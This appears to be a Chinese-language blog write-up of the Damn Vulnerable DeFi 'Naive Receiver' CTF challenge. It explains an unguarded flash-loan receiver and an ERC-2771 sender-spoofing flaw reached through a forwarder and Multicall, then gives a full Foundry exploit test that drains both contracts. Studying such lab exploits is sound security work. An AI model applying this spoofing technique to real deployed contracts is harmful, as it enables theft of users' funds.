There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.
A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.
All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.
題敘中有提到有用戶帳號、閃電貸底池以及一個恢復帳號,那我們要做的就是把所有的 WETH 轉移到恢復帳號裡面捲款潛逃,這題一共有 4 個合約,合約的內容如下:
NaiveReceiverPool
:有打過德州撲克的都知道,pool 就是底池,在這題中就是整個閃電貸的底池,也是就是題目中提到有 1000 WETH 的帳號FlashLoanReceiver
:這個就是用戶接受閃電貸的帳號,也就是題目中提到的 10 WETH 的帳號BasicForwarder
:用來執行合約用的Multicall
:這是一個智能合約庫,主要是拿來優化用的,同時可以執行多個操作合約的分析就差不多到這,接下來就是按部就班的把東西搬走,那我們先從 NaiveReceiver
開始
經過工人智慧分析,我們可以看到他的 onFlashLoan
有一點點問題
function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
external
returns (bytes32)
{
assembly {
// gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
// Return funds to pool
WETH(payable(token)).approve(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
東西基本上都是正常的,但是有一個很大的問題是它沒有針對"發起"閃電貸的地址做任何規範,所以理論上我們可以透過 NaiveReceiver
直接發起閃電貸,以及交易手續費的 1 WETH,直接發起 10 次閃電貸來轉移資金,好耶
說實在這個合約有一點長,但是要找漏洞的話可以針對合約中對資金有任何存取的地方找,像是我們一開始可以看到有個 function
叫 flashloan
,但是其中的重點不多,我們可以繼續先往下看,接著就可以看到一個叫 withdraw
的 function
,而它有牽扯到另外下面的 _msgSender
這個裡面可以看的東西就很多了
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
在看這兩個 function
之前,有一些先備知識需要補充
因為 withdraw
有用到 _msgSender()
,如果呼叫是由 trustedForwarder
發起,所以就會使用 msg.data
的最後 20 字節作為發送者(ERC2771),如果是正常使用的話沒有問題,但是這個合約有 forwarder
跟 Multicall
,雖然 msg.data
的最後 20 字可以拼接出正確的地址,但是在同時調用 Multicall
的情況下,我們可以偽造發送者的地址,那我們就可以巧立名目把 pool 裡面的 WETH 幹走了,好耶
分析完畢,統整一下我們接下來要做的:
forwarder
合約來執行接下來的動作Multicall
並且調用 10 次閃電貸withdraw
並且改掉地址一樣到 /damn-vulnerable-defi/src/naive-receiver
然後下面是錯誤範例,因為我不小心把 hash 過的東西塞錯地址XD
說實在爆炸的挺壯觀的
下面是我丟過去的測的 code,有參考一下別人的 writeup,因為我不會寫 Solidity
QQ
function test_naiveReceiver() public checkSolvedByPlayer {
// 定義需要的呼叫數組,總共 11 個呼叫
bytes[] memory callDatas = new bytes[](11);
// 構建前 10 次閃電貸款請求
for (uint i = 0; i < 10; i++) {
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
// 最後一次呼叫,提取所有 WETH 到恢復地址
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(pool.feeReceiver())))
);
// 將所有呼叫編碼為一個 multicall
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
// 構建元交易請求
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: 30000000,
nonce: forwarder.nonces(player),
deadline: block.timestamp,
data: callData
});
// 計算請求的哈希
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01", // EIP-191 版本前綴
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
bytes memory signature = abi.encodePacked(r, s, v);//<-嘿對就是這裡我塞錯
forwarder.execute(request, signature);
}
再附上通過截圖
每日梗圖(1/1)